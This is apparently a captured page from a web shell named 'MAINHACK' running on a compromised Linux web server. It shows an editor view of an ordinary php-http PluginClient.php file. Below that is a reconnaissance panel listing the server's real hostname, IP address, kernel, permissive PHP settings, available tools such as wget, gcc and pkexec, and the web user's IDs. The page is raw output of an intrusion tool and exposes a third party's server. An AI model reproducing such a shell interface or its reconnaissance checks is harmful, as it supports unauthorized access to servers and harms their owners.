[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PluginClient.php
<?php declare(strict_types=1); namespace Http\Client\Common; use Http\Client\Exception as HttplugException; use Http\Client\HttpAsyncClient; use Http\Client\HttpClient; use Http\Client\Promise\HttpFulfilledPromise; use Http\Client\Promise\HttpRejectedPromise; use Http\Promise\Promise; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Symfony\Component\OptionsResolver\OptionsResolver; /** * The client managing plugins and providing a decorator around HTTP Clients. * * @author Joel Wurtz <joel.wurtz@gmail.com> */ final class PluginClient implements HttpClient, HttpAsyncClient { /** * An HTTP async client. * * @var HttpAsyncClient */ private $client; /** * The plugin chain. * * @var Plugin[] */ private $plugins; /** * A list of options. * * @var array */ private $options; /** * @param ClientInterface|HttpAsyncClient $client An HTTP async client * @param Plugin[] $plugins A plugin chain * @param array{'max_restarts'?: int} $options */ public function __construct($client, array $plugins = [], array $options = []) { if ($client instanceof HttpAsyncClient) { $this->client = $client; } elseif ($client instanceof ClientInterface) { $this->client = new EmulatedHttpAsyncClient($client); } else { throw new \TypeError( sprintf('%s::__construct(): Argument #1 ($client) must be of type %s|%s, %s given', self::class, ClientInterface::class, HttpAsyncClient::class, get_debug_type($client)) ); } $this->plugins = $plugins; $this->options = $this->configure($options); } public function sendRequest(RequestInterface $request): ResponseInterface { // If the client doesn't support sync calls, call async if (!$this->client instanceof ClientInterface) { return $this->sendAsyncRequest($request)->wait(); } // Else we want to use the synchronous call of the underlying client, // and not the async one in the case we have both an async and sync call $pluginChain = $this->createPluginChain($this->plugins, function (RequestInterface $request) { try { return new HttpFulfilledPromise($this->client->sendRequest($request)); } catch (HttplugException $exception) { return new HttpRejectedPromise($exception); } }); return $pluginChain($request)->wait(); } public function sendAsyncRequest(RequestInterface $request) { $pluginChain = $this->createPluginChain($this->plugins, function (RequestInterface $request) { return $this->client->sendAsyncRequest($request); }); return $pluginChain($request); } /** * Configure the plugin client. */ private function configure(array $options = []): array { $resolver = new OptionsResolver(); $resolver->setDefaults([ 'max_restarts' => 10, ]); $resolver->setAllowedTypes('max_restarts', 'int'); return $resolver->resolve($options); } /** * Create the plugin chain. * * @param Plugin[] $plugins A plugin chain * @param callable $clientCallable Callable making the HTTP call * * @return callable(RequestInterface): Promise */ private function createPluginChain(array $plugins, callable $clientCallable): callable { return new PluginChain($plugins, $clientCallable, $this->options); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002